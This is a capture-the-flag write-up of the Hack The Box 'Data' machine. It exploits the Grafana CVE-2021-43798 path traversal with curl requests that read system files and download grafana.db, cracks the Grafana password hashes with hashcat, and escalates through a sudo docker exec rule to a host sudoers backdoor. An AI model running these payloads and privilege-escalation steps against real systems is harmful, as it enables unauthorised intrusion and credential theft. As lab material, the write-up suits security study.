Summary
Data is a Linux box running Grafana 8.0.0 behind SSH and port 3000. The Grafana version is vulnerable to CVE-2021-43798, an authentication-free path traversal in the plugin static-file handler, which is used to read /etc/passwd, then Grafana's own defaults.ini to locate its SQLite database, and finally exfiltrate grafana.db itself. Cracking the password hashes inside the database (after converting them to a Hashcat-compatible format) recovers a user's SSH credentials. That user has a sudo rule allowing passwordless docker exec on any container, and the running Grafana container is mounted with access to the host filesystem at /, letting commands run as root inside the container reach and read the host's root flag directly — or, alternatively, modify the host's /etc/sudoers to grant full root access back out on the host.
-
Initial access: CVE-2021-43798 (Grafana path traversal) → leak
defaults.ini→ leakgrafana.db→ crack admin/boris password hashes → SSH asboris -
Privilege escalation: Misconfigured
sudo docker execrule → root inside Grafana container → host filesystem mounted inside container → read root flag directly, or edit host/etc/sudoersfor a persistent root shell
Walkthrough
1. Recon
nmap -A -Pn 10.129.234.47 -oA nmap
Two open ports: SSH (22, OpenSSH 7.6p1 on Ubuntu 18.04) and Grafana on 3000. Added the hostname to /etc/hosts:
echo '10.129.234.47 data.vl' >> /etc/hosts
Visiting http://data.vl:3000/login confirms a Grafana login page. The footer of the login page leaks the exact version, v8.0.0, which is a known information-disclosure issue (HackerOne report #1427086) and is directly useful here since it pins down the vulnerable version range.
curl http://data.vl:3000/robots.txt
User-agent: *
Disallow: /
2. CVE-2021-43798 - unauthenticated path traversal (HackerOne report #1427086)
Grafana 8.0.0 through 8.3.0 ships a plugin static-asset handler that doesn't sanitize ../ sequences in the request path, letting an unauthenticated request walk outside the plugin's intended directory and read arbitrary files readable by the grafana process. Confirmed with the classic /etc/passwd read:
curl http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/ash
...
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
The presence of /bin/ash and the grafana system user is also a strong hint that Grafana itself is running inside an Alpine-based container - relevant later for the privesc step.
Next pulled Grafana's own config file, defaults.ini, using the same traversal, to confirm internal paths rather than guessing them:
http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fshare%2Fgrafana%2Fconf%2Fdefaults.ini
The [database] section confirms type = sqlite3 and path = grafana.db relative to the data path, which (per the [paths] section) resolves to /var/lib/grafana/grafana.db.
3. Exfiltrating and cracking the Grafana database
curl http://10.129.234.47:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db --output grafana.db
file grafana.db
grafana.db: SQLite 3.x database, ...
Opened it directly with sqlite3 and inspected the schema before querying:
sqlite3 grafana.db
sqlite> .tables
alert login_attempt
alert_configuration migration_log
...
data_source user
...
sqlite> .headers on
sqlite> select login,password,salt from user;
login|password|salt
admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl
Grafana hashes its passwords as PBKDF2-HMAC-SHA256 with a non-standard internal encoding, so they aren't directly crackable in this form. Used grafana2hashcat to convert the password,salt pairs into a hashcat-compatible PBKDF2 string (hash-mode 10900).
First saved the raw Grafana hashes in the tool's expected hash,salt format:
git clone https://github.com/iamaldi/grafana2hashcat
cd grafana2hashcat
cat > grafana.hash <<'EOF'
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl
EOF
Then converted them:
python3 grafana2hashcat.py grafana.hash
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
Saved the converted output into a file in hashcat's expected format:
cat > crackable.hash <<'EOF'
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
EOF
Cracked with rockyou:
hashcat crackable.hash /usr/share/wordlists/rockyou.txt
sha256:10000:TENCaGR0SldqbA==:...:beautiful1
The boris hash cracks to beautiful1. The admin hash did not crack against rockyou — not needed, since boris has a real shell account on the host whereas admin is only a Grafana application-level account.
4. SSH access
ssh boris@data.vl
boris@data:~$ cat user.txt
HTB{REDACTED}
5. Privilege escalation — sudo docker exec abuse
sudo -l
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
boris can run docker exec as root against any container, with no restriction on which command is executed inside it. Direct docker ps/docker images fail because boris isn't in the docker group and has no socket access outside of this specific sudo rule — but the sudo rule itself doesn't need group membership, since it invokes docker as root directly.
Found the running Grafana container's ID from the process list:
ps aux | grep docker
containerd-shim-runc-v2 ... -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81
sudo docker exec -it -u root e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
bash-5.1# whoami
root
Now root inside the container. Checking mounts revealed the host's root filesystem mounted at /mnt inside the container (a deliberate or misconfigured bind mount exposing the host disk):
mount /dev/sda1 /mnt
ls -la /mnt/root/root.txt
-rw-r----- 1 root root 33 Jun 24 05:00 /mnt/root/root.txt
Method A — direct read: since the container is running as root and the host filesystem is mounted and readable, the flag can simply be read in place:
cat /mnt/root/root.txt
Method B — persistent host root (alternative used here): rather than just reading the flag once, edited the host's /etc/sudoers from inside the container, since /mnt is a live bind-mount of the host's actual root partition — any write here is a write to the real host disk:
echo 'boris ALL = (root) NOPASSWD: /bin/bash' >> /mnt/etc/sudoers
exit
Back on the host as boris:
sudo -l
(root) NOPASSWD: /snap/bin/docker exec *
(root) NOPASSWD: /bin/bash
sudo bash
root@data:~# cat /root/root.txt
HTB{REDACTED}
This second method is the more valuable one in a real engagement: it turns a single one-off container escape into a standing root foothold on the host that survives without needing to re-enter the container each time.
Attack Chain
Grafana v8.0.0 login page footer → version disclosure
│
▼
CVE-2021-43798 path traversal (unauthenticated)
│
▼
Read /etc/passwd → confirm grafana service user / Alpine container
│
▼
Read defaults.ini → locate SQLite DB path
│
▼
Exfiltrate grafana.db → dump user table (password + salt)
│
▼
grafana2hashcat → PBKDF2-HMAC-SHA256 (hashcat mode 10900)
│
▼
hashcat + rockyou → boris's password cracked
│
▼
SSH as boris → user.txt
│
▼
sudo docker exec (NOPASSWD, any container) → root inside Grafana container
│
▼
Host root filesystem bind-mounted inside container (/dev/sda1 → /mnt)
│
▼
Read root.txt directly, or write to /mnt/etc/sudoers for persistent host root
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Grafana version disclosure | Login page footer | Lets an attacker pin the exact vulnerable version without further probing |
| 2 | CVE-2021-43798 (Path Traversal) | Grafana plugin static-asset handler, v8.0.0–8.3.0 | Unauthenticated arbitrary file read as the grafana service user |
| 3 | SQLite credential store exposed via the same traversal | /var/lib/grafana/grafana.db |
Full extraction of all Grafana user password hashes + salts |
| 4 | Weak user password |
boris account |
Hash crackable against rockyou in seconds |
| 5 | Overly broad sudo rule on docker exec
|
/etc/sudoers — boris
|
Root access inside any running container, with no command restriction |
| 6 | Host root filesystem bind-mounted into container | Grafana container's /dev/sda1 mount |
Container root effectively equals host root — read host files or modify host /etc/sudoers
|












